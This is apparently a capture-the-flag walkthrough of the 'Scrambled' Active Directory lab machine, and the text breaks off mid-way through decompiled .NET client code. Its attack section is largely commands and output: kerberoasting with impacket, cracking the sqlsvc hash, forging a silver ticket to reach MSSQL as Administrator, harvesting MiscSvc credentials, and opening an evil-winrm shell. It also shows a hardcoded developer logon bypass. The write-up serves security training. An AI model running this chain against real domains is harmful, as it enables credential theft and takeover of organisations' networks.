Scrambled is a medium Windows Active Directory machine. Enumerating the website hosted on the remote machine a potential attacker is able to deduce the credentials for the user ksimpson. On the website, it is also stated that NTLM authentication is disabled meaning that Kerberos authentication is to be used. Accessing the Public share with the credentials of ksimpson, a PDF file states that an attacker retrieved the credentials of an SQL database. This is a hint that there is an SQL service running on the remote machine. Enumerating the normal user accounts, it is found that the account SqlSvc has a Service Principal Name (SPN) associated with it. An attacker can use this information to perform an attack that is knows as kerberoasting and get the hash of SqlSvc. After cracking the hash and acquiring the credentials for the SqlSvc account an attacker can perform a silver ticket attack to forge a ticket and impersonate the user Administrator on the remote MSSQL service. Enumeration of the database reveals the credentials for user MiscSvc, which can be used to execute code on the remote machine using PowerShell remoting. System enumeration as the new user reveals a .NET application, which is listening on port 4411. Reverse engineering the application reveals that it is using the insecure Binary Formatter class to transmit data, allowing the attacker to upload their own payload and get code execution as nt authority\system.

Recon

Nmap

milksteak➜  scrambled  ᐅ  nmap -p- --min-rate 10000 $IP -sV                                     
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-24 19:59 +0300
Nmap scan report for 10.129.61.3
Host is up (0.19s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-24 17:00:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
4411/tcp  open  found?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC

milksteak➜  scrambled  ᐅ  nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49701,49708 -sC -sV -A $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-24 20:08 +0300
Nmap scan report for 10.129.61.3
Host is up (0.19s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-24 17:08:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-24T17:11:33+00:00; +3s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-24T17:11:33+00:00; +3s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-08-24T17:11:33+00:00; +3s from scanner time.
| ms-sql-info: 
|   10.129.61.3:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-24T16:56:56
|_Not valid after:  2056-08-24T16:56:56
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-24T17:11:33+00:00; +3s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-24T17:11:33+00:00; +3s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
4411/tcp  open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
| smb2-time: 
|   date: 2026-08-24T17:10:57
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

TRACEROUTE (using port 49674/tcp)
HOP RTT       ADDRESS
1   187.29 ms 10.10.14.1
2   187.92 ms 10.129.61.3

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 208.76 seconds

DC1 running scrm.local. IIS on 80 serving “Scramble Corp Intranet” Corporate front. MSSQL 2019 RTM on 1433, unpatched maybe?. WinRM on 5985 for our landing zone. And running SCRAMBLECORP_ORDERS_V1.0.3 , which sounds like a .NET application. SMB signing is on, so no relaying.

Enumeration

DNS - 53

Just for the love of the game, we start with with DNS enumeration, Zone Transfer

milksteak➜  scrambled  ᐅ  dig @10.129.61.3 scrm.local any

; <<>> DiG 9.20.24-1+b1-Debian <<>> @10.129.61.3 scrm.local any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9073
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;scrm.local.                    IN      ANY

;; ANSWER SECTION:
scrm.local.             600     IN      A       10.129.61.3
scrm.local.             3600    IN      NS      dc1.scrm.local.
scrm.local.             3600    IN      SOA     dc1.scrm.local. hostmaster.scrm.local. 218 900 600 86400 3600
scrm.local.             600     IN      AAAA    dead:beef::891:50e0:adbb:653d

;; ADDITIONAL SECTION:
dc1.scrm.local.         3600    IN      A       10.129.61.3
dc1.scrm.local.         3600    IN      AAAA    dead:beef::891:50e0:adbb:653d

;; Query time: 1207 msec
;; SERVER: 10.129.61.3#53(10.129.61.3) (TCP)
;; WHEN: Tue Aug 25 11:52:51 EAT 2026
;; MSG SIZE  rcvd: 192

DNS is done, moving on before I die of boredom

HTTP Enumeration - 80

first we grab the homepage and see what kind of nightmare we have here:

milksteak➜  scrambled  ᐅ  curl -s http://10.129.61.3/              
<!DOCTYPE HTML>
<html>
        <head>
                <title>Scramble Corp Intranet</title>
                <meta charset="utf-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
                <link rel="stylesheet" href="assets/css/main.css" />
                <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
        </head>
        <body class="is-preload">

                <!-- Wrapper -->
                        <div id="wrapper">

                                <!-- Nav -->
                                        <nav id="nav">
                                                <ul>
                                                        <li><a href="#intro" class="active">Home</a></li>
                                                        <li><a href="#">Reports</a></li>
                                                        <li><a href="support.html">IT Services</a></li>
                                                </ul>
                                        </nav>

                                <!-- Main -->
                                        <div id="main">

                                                <!-- Introduction -->
                                                        <section id="intro" class="main">
                                                                <div class="spotlight">
                                                                        <div class="content">
                                                                                <header class="major">
                                                                                        <h2>Welcome</h2>
                                                                                </header>
                                                                                <p>Welcome to the Scramble Corp intranet site</p>

                                                                        </div>

                                                                </div>
                                                        </section>

                                                <!-- Second Section -->
                                                        <section id="second" class="main special">
                                                                <header class="major">
                                                                        <h2>This Week's Stats</h2>
                                                                        <p>Thanks to your hard work we are constantly improving our performance</p>
                                                                </header>
                                                                <ul class="statistics">
                                                                        <li class="style2">
                                                                                <span class="icon fa-folder-open"></span>
                                                                                <strong>205</strong> Orders Placed
                                                                        </li>
                                                                        <li class="style3">
                                                                                <span class="icon solid fa-signal"></span>
                                                                                <strong>99%</strong> Up Time
                                                                        </li>
                                                                        <li class="style4">
                                                                                <span class="icon solid fa-laptop"></span>
                                                                                <strong>396</strong> Enquiries Received
                                                                        </li>

                                                                </ul>

                                                        </section>

                                        </div>

                        </div>

                <!-- Scripts -->
                        <script src="assets/js/jquery.min.js"></script>
                        <script src="assets/js/jquery.scrollex.min.js"></script>
                        <script src="assets/js/jquery.scrolly.min.js"></script>
                        <script src="assets/js/browser.min.js"></script>
                        <script src="assets/js/breakpoints.min.js"></script>
                        <script src="assets/js/util.js"></script>
                        <script src="assets/js/main.js"></script>

image.png

Lets check other pages:

milksteak➜  scrambled  ᐅ  curl -s http://10.129.61.3/support.html
<!DOCTYPE HTML>
<html>
        <head>
                <title>IT Services</title>
                <meta charset="utf-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
                <link rel="stylesheet" href="assets/css/main.css" />
                <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
        </head>
        <body class="is-preload">

                <!-- Wrapper -->
                <div id="wrapper">
                        <!-- Nav -->
                        <nav id="nav">
                                <ul>
                                        <li><a href="index.html">Home</a></li>
                                        <li><a href="#">Reports</a></li>
                                        <li><a href="#" class="active">IT Services</a></li>
                                </ul>
                        </nav>

                        <!-- Main -->
                        <div id="main">

                                <!-- Content -->
                                <section id="content" class="main">

                                        <h2><strong>News And Alerts</strong></h2>
                                        <section>
                                                <div class="alert alert-warning" role="alert">
                                                        04/09/2021: Due to the security breach last month we have now disabled all NTLM authentication on our network.
                                                        This may cause problems for some of the programs you use so please be patient while we work to resolve any issues
                                                </div>
                                        </section>

                                        <hr />
                                        <br />

                                        <h2><strong>Resources</strong></h2>
                                        <section>
                                                <ul>
                                                        <li>
                                                                <a href="supportrequest.html">Contacting IT support</a>
                                                        </li>
                                                        <li>
                                                                <a href="newuser.html">New user account form</a>
                                                        </li>
                                                        <li>
                                                                <a href="salesorders.html">Report a problem with the sales orders app</a>
                                                        </li>
                                                        <li>
                                                                <a href="passwords.html">Request a password reset</a>
                                                        </li>
                                                </ul>
                                        </section>

                                        <hr />

                                        <br />
                                        <br />
                                        <br />
                                        <br />
                                        <br />
                                        <br />
                                        <br />
                                        <br />

                                </section>

                </div>
                </div>

                <!-- Scripts -->
                        <script src="assets/js/jquery.min.js"></script>
                        <script src="assets/js/jquery.scrollex.min.js"></script>
                        <script src="assets/js/jquery.scrolly.min.js"></script>
                        <script src="assets/js/browser.min.js"></script>
                        <script src="assets/js/breakpoints.min.js"></script>
                        <script src="assets/js/util.js"></script>
                        <script src="assets/js/main.js"></script>

        </body>

image.png

NTLM is disabled , confirmed by the alert from 2021

From this page we can see others pages which I will just go through them one by one and show screenshots:

In Contacting IT support page we can see the ksimpson user and instructions to contact IT

image.png

Moving on to the next page, we can see a signup form with different option on the department section. not sure what to do with it now but we will try to connect the dots once we see the rest of the pages

image.png

In this sales order page, we can see instructions to debug the app:

image.png

And finally the password reset page:

image.png

We will connect the dots later, we still have other services to enumerate

SMB - 445

milksteak➜  scrambled  ᐅ  nxc smb 10.129.61.3 -u guest -p '' --shares
SMB         10.129.61.3     445    DC1              [*]  x64 (name:DC1) (domain:scrm.local) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.129.61.3     445    DC1              [-] scrm.local\guest: STATUS_NOT_SUPPORTED

NTLM is dead so it SMB guest session

LDAP - 389

First we get naming contexts:

milksteak➜  scrambled  ᐅ  ldapsearch -H ldap://10.129.61.3 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=scrm,DC=local
namingcontexts: CN=Configuration,DC=scrm,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=scrm,DC=local
namingcontexts: DC=DomainDnsZones,DC=scrm,DC=local
namingcontexts: DC=ForestDnsZones,DC=scrm,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Anonymous LDAP gets us nothing so far

Initial Access

MiscSVC

With recovery ksimpson:kisimpson a kerberos ticket-granting ticket was requested as cached locally.

 ❯ impacket-getTGT scrm.local/ksimpson:ksimpson                                      
export KRB5CCNAME=$(pwd)/ksimpson.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ksimpson.ccache

With NTLM disabled domain-wide, the ticket replaced password authentication for all subsequent service access

SMB was then accessed using the cached ticket rather than NTLM credentials, and the available shares were enumerated.

❯ impacket-smbclient -k -no-pass scrm.local/ksimpson:kisimpson@dc1.scrm.local -dc-ip dc1.scrm.local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# 

The Public share was readable and contained a PDF referencing Network changes:

Type help for list of commands
# use Public
# get Network Security Changes.pdf

image.png

The PDF does not hand us any passwords or usernames but it just confirms that NTLM is killed to prevent relaying attacks. With valid domain context, the domain was queried for accounts with Service Principal Names (SPNs)

❯ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -no-pass -k -dc-host dc1.scrm.local -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation 
----------------------------  ------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-03 19:32:02.351452  2026-11-21 22:16:49.510821             
MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-03 19:32:02.351452  2026-11-21 22:16:49.510821             

$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$c5cd73b3e9e0db431596208ec7d57944$f656b04e47b1676e49160fd8dfa87d64ed835aab511ef1ae1c7ded82eea2ce1578ed0c7c66fdf53e234aec44c49062755c3b35d4360ff3a0f28fa08c98eb82448622588ac2557fb8e5fb19f4dd04a239c91dce0f42bebb3a65a39d0d9c044e58b2bfddf3e959632660b9ff721f6415406ccb44ce8f59c7740737a7c24a9615b6b70af4685ec65565924af24d3a153c6132a60dcb3eb6469d7c4b29a1c26eb6bd2bf44f81d80d0ca986129c20c4ba5c4fa6969e6f3d7d167b347bf635534a38c65f2f2016904b4b2f81b1b94d35e0bb2afb8cac838117d70b9f88da6264a77c3efdd5b1eff6ae6ecee0cb56ad61c09106ba8cd8ef85b1ece8175a6336c760fc353acb284707612e4893da329847c54da2c74ccf7202af2b982b79058f7043cc343ee8bb88d0c8426eae045a84e1fdfeb60906dfc2e5b48131a99a36bffc9bd8e81fe245f049b178bead69ef609e53b910fcf0f7586a3caaf61d710d0ab1d4fff0c6dfa1cf5be3e8d15d127768a5a71bf34cf3054892140759ca443456e64125639ea35ef53518ff02b8c6529d3be68b6757a3300ba9bc6b21351384ca0182b70f9c378661330603a9a0685fd3b2dc6e6bf2e364efe78c65636486e8e583d6196d21adb9caa8ac4f3d1e3b5a61b6e40fa78ba7a75188bdc8e5e0b04a92bdbd47f80de09c70d5196b528247153eddf5b1e110f1bc1e6ad36c4912ceb3d36e057143474df856d98cb5d217c1495bb200a9992252225b25e1c6e5024d8dba0b0a3abb2e67e67829ad9ab4ce785e129ca48b23713ea7e14c0662c0b637892472b556288e6b6781d2a62e27c74a17216b726770add2c90d682d80fcc18a95759dbdf7a4edce7960788b7280a6b486622a7a306f96280efccdf3c2fd62b138aef550bc50897c0405ca9b2af40037e0775b17452033b5ea92b5fb03bafe669efaba0db270ebdc0dec421ae4750c54be61e60a11fc36df9a89117dc1cc9e24641895c034624d733b0bdbe37bee4b497831a8e969868d74c1dedbaa3e6eeafead231a23372259cf8f4f1ec33cf0b888c8d904503c7a9b7b6b4d1d74ef76f99dbb5a2a1b041d68d5ce7d30da065c6430d42fd22fb4aa9037e7a10fb43708df0cc959549e60a7e468f95c1f151e625abb2dd3661ec6bd327d0039eeb8a08a4f97f905a7cf1e495a1d453211b72b8a36f182532a9736041e6f3d3aed6059dca2db0657d110fe54063b8cdfe7728236029786359dac2936acf80be1690f923d9cb3a57719733b03684197079d07e06ddc259a96af069e1f7d79d8cd7fc5bc33b3a3d1de9e62c352f62a5556d77ea479f01701ed29bb3ec2ed888694b4e77351d57602f471125563e1b0f4969463fa64c43956bacf2645fb2ff3f8d46ea884f76b2eb96d4d1a7c32bd737df082b02f63d689e544e94f2292a7996c53f9fab2ab3bf822

The sqlsvc account was identified with an SPN assigned to the MSSQL service. A kerberos TGS ticket was requested for this account and extracted, producing a hash suitable for offline cracking

❯ hashcat hash_1 /home/xi/rockyou.txt 
hashcat (v7.1.2) starting in autodetect mode

$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$c5cd73b3e9e0db431596208ec7d57944$f656b04e47b1676e49160fd8dfa87d64ed835aab511ef1ae1c7ded82eea2ce1578ed0c7c66fdf53e234aec44c49062755c3b35d4360ff3a0f28fa08c98eb82448622588ac2557fb8e5fb19f4dd04a239c91dce0f42bebb3a65a39d0d9c044e58b2bfddf3e959632660b9ff721f6415406ccb44ce8f59c7740737a7c24a9615b6b70af4685ec65565924af24d3a153c6132a60dcb3eb6469d7c4b29a1c26eb6bd2bf44f81d80d0ca986129c20c4ba5c4fa6969e6f3d7d167b347bf635534a38c65f2f2016904b4b2f81b1b94d35e0bb2afb8cac838117d70b9f88da6264a77c3efdd5b1eff6ae6ecee0cb56ad61c09106ba8cd8ef85b1ece8175a6336c760fc353acb284707612e4893da329847c54da2c74ccf7202af2b982b79058f7043cc343ee8bb88d0c8426eae045a84e1fdfeb60906dfc2e5b48131a99a36bffc9bd8e81fe245f049b178bead69ef609e53b910fcf0f7586a3caaf61d710d0ab1d4fff0c6dfa1cf5be3e8d15d127768a5a71bf34cf3054892140759ca443456e64125639ea35ef53518ff02b8c6529d3be68b6757a3300ba9bc6b21351384ca0182b70f9c378661330603a9a0685fd3b2dc6e6bf2e364efe78c65636486e8e583d6196d21adb9caa8ac4f3d1e3b5a61b6e40fa78ba7a75188bdc8e5e0b04a92bdbd47f80de09c70d5196b528247153eddf5b1e110f1bc1e6ad36c4912ceb3d36e057143474df856d98cb5d217c1495bb200a9992252225b25e1c6e5024d8dba0b0a3abb2e67e67829ad9ab4ce785e129ca48b23713ea7e14c0662c0b637892472b556288e6b6781d2a62e27c74a17216b726770add2c90d682d80fcc18a95759dbdf7a4edce7960788b7280a6b486622a7a306f96280efccdf3c2fd62b138aef550bc50897c0405ca9b2af40037e0775b17452033b5ea92b5fb03bafe669efaba0db270ebdc0dec421ae4750c54be61e60a11fc36df9a89117dc1cc9e24641895c034624d733b0bdbe37bee4b497831a8e969868d74c1dedbaa3e6eeafead231a23372259cf8f4f1ec33cf0b888c8d904503c7a9b7b6b4d1d74ef76f99dbb5a2a1b041d68d5ce7d30da065c6430d42fd22fb4aa9037e7a10fb43708df0cc959549e60a7e468f95c1f151e625abb2dd3661ec6bd327d0039eeb8a08a4f97f905a7cf1e495a1d453211b72b8a36f182532a9736041e6f3d3aed6059dca2db0657d110fe54063b8cdfe7728236029786359dac2936acf80be1690f923d9cb3a57719733b03684197079d07e06ddc259a96af069e1f7d79d8cd7fc5bc33b3a3d1de9e62c352f62a5556d77ea479f01701ed29bb3ec2ed888694b4e77351d57602f471125563e1b0f4969463fa64c43956bacf2645fb2ff3f8d46ea884f76b2eb96d4d1a7c32bd737df082b02f63d689e544e94f2292a7996c53f9fab2ab3bf822:Pegasus60
                                                          

Kerberoasting Success. The hash cracked instantly to Pegasus60

Now we can pivot to silver ticket attack

The box description explicitly hints at forging a ticket to impersonate Administrator on the MSSQL service. Because we now have the password, we can forge a Service Ticket entirely offline, bypassing the DC?

First wee need to get the sqlsvc NTLM hash using python haslib:

❯ python3 -c 'import hashlib; print(hashlib.new("md4", "Pegasus60".encode("utf-16le")).hexdigest())'
b999a16500b87d17ec7f2e2a68778f05

To execute the ticket forgery, the domain Security Identifier (SID) was required. An authenticated simple bind was performed using the recovered ksimpson credentials:

❯ nxc ldap 10.129.87.175 -u ksimpson -p ksimpson -k --get-sid
LDAP        10.129.87.175   389    DC1              [*] None (name:DC1) (domain:scrm.local) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        10.129.87.175   389    DC1              [+] scrm.local\ksimpson:ksimpson 
LDAP        10.129.87.175   389    DC1              Domain SID S-1-5-21-2743207045-1827831105-2542523200

Then we proceed to forge the ticket with impacket-ticketer

❯ impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain srcm.local -spn MSSQLSvc/dc1.scrm.local:1443 administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for srcm.local/administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in administrator.ccache

Then we connect to MSSQL:

❯ export KRB5CCNAME=$(pwd)/administrator.ccache  

❯ impacket-mssqlclient -k -no-pass dc1.scrm.local
/usr/lib/python3/dist-packages/impacket/mssql/version.py:182: SyntaxWarning: 'return' in a 'finally' block
  return string
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SCRM\administrator  dbo@master)>

Now we need to enumerate the databases:

SQL (SCRM\administrator  dbo@master)> SELECT name FROM sys.databases;
name         
----------   
master       
tempdb       
model        
msdb         
ScrambleHR

We can switch to a non-standard database and list its tables:

SQL (SCRM\administrator  dbo@master)> USE ScrambleHR;
ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT name FROM sys.tables;
name         
----------   
Employees    
UserImport   
Timesheets   
SQL (SCRM\administrator  dbo@ScrambleHR)>

Lets take it one table at a time to avoid dumping garbage

SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'UserImport';
COLUMN_NAME       
---------------   
LdapUser          
LdapPwd           
LdapDomain        
RefreshInterval   
IncludeGroups     
SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Employees';
COLUMN_NAME   
-----------   
EmployeeID    
FirstName     
Surname       
Title         
Manager       
Role 

Now dumping the data:

SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT * FROM UserImport;
LdapUser   LdapPwd             LdapDomain   RefreshInterval   IncludeGroups   
--------   -----------------   ----------   ---------------   -------------   
MiscSvc    ScrambledEggs9900   scrm.local

looks like credentials to me

SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT * FROM Employees;
EmployeeID   FirstName   Surname   Title   Manager   Role   
----------   ---------   -------   -----   -------   ---- 

that one came empty

Jackpot. MiscSvc:ScrambledEggs9900.

With Administrator access to the MSSQL instance, the ScrambleHR database was enumerated. The UserImport table contained plaintext credentials for the MiscSvc service account. Because NTLM was disabled, a new Kerberos TGT was requested for this account and used to authenticate to the WinRM service, granting remote command execution.

❯ impacket-getTGT scrm.local/MiscSvc:ScrambledEggs9900 -dc-ip 10.129.88.90
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in MiscSvc.ccache
❯ evil-winrm -i dc1.scrm.local -u MiscSvc -p ScrambledEggs9900 -r SCRM.LOCAL
                                        
Evil-WinRM shell v4.1
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: User is not needed for Kerberos auth. Ticket will be used
                                        
Warning: Password is not needed for Kerberos auth. Ticket will be used
                                        
Info: Establishing connection to remote endpoint
                                        
Info: Connection successful
*Evil-WinRM* PS C:\Users\miscsvc\Documents> 

SHELL AS SYSTEM

Credentials for MiscSvc granted access to an SMN share IT containing the ScrambleCorp application

❯ impacket-smbclient -k -no-pass scrm.local/MiscSvc:ScrambledEggs9900@dc1.scrm.local -dc-ip dc1.scrm.local

# ls
[-] No share selected
# ls
[-] No share selected
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use IT
# ls
 name is invalid.
# get Scramble
ScrambleClient.exe  ScrambleLib.dll     
# get Scramble
ScrambleClient.exe  ScrambleLib.dll     
# get ScrambleLib.dll

I used wine to run the executable:

image.png

Now we after that we edit the server settings:

image.png

then we try MiscSvc creds:

image.png

We need to look at the binaries in DSNspy

using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
using Microsoft.VisualBasic.CompilerServices;

namespace ScrambleLib;

public class ScrambleNetClient
{
    private const int NetworkReadTimeout = 20;

    public string Server { get; set; }

    public int Port { get; set; }

    public ScrambleNetClient()
    {
        Server = string.Empty;
        Port = 4411;
    }

    public bool Logon(string Username, string Password)
    {
        try
        {
            if (string.Compare(Username, "scrmdev", ignoreCase: true) == 0)
            {
                Log.Write("Developer logon bypass used");
                return true;
            }
            MD5 mD = MD5.Create();
            byte[] bytes = Encoding.ASCII.GetBytes(Password);
            Convert.ToBase64String(mD.ComputeHash(bytes, 0, bytes.Length));
            ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.AuthenticationRequest, Username + "|" + Password));
            switch (scrambleNetResponse.Type)
            {
                case ScrambleNetResponse.ResponseType.Success:
                    Log.Write("Logon successful");
                    return true;
                case ScrambleNetResponse.ResponseType.InvalidCredentials:
                    Log.Write("Logon failed due to invalid credentials");
                    return false;
                default:
                    throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
            }
        }
        catch (Exception ex)
        {
            ProjectData.SetProjectError(ex);
            Exception ex2 = ex;
            Log.Write("Error: " + ex2.Message);
            throw ex2;
        }
    }

    public List<SalesOrder> GetOrders()
    {
        try
        {
            Log.Write("Getting orders from server");
            ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.ListOrders, null));
            if (scrambleNetResponse.Type == ScrambleNetResponse.ResponseType.Success)
            {
                List<SalesOrder> list = new List<SalesOrder>();
                if (!string.IsNullOrWhiteSpace(scrambleNetResponse.Data))
                {
                    Log.Write("Splitting and parsing sales orders");
                    string[] array = scrambleNetResponse.Data.TrimEnd(new char[0]).Split(new char[1] { '|' });
                    Log.Write("Found " + Conversions.ToString(array.Length) + " sales orders in server response");
                    string[] array2 = array;
                    foreach (string text in array2)
                    {
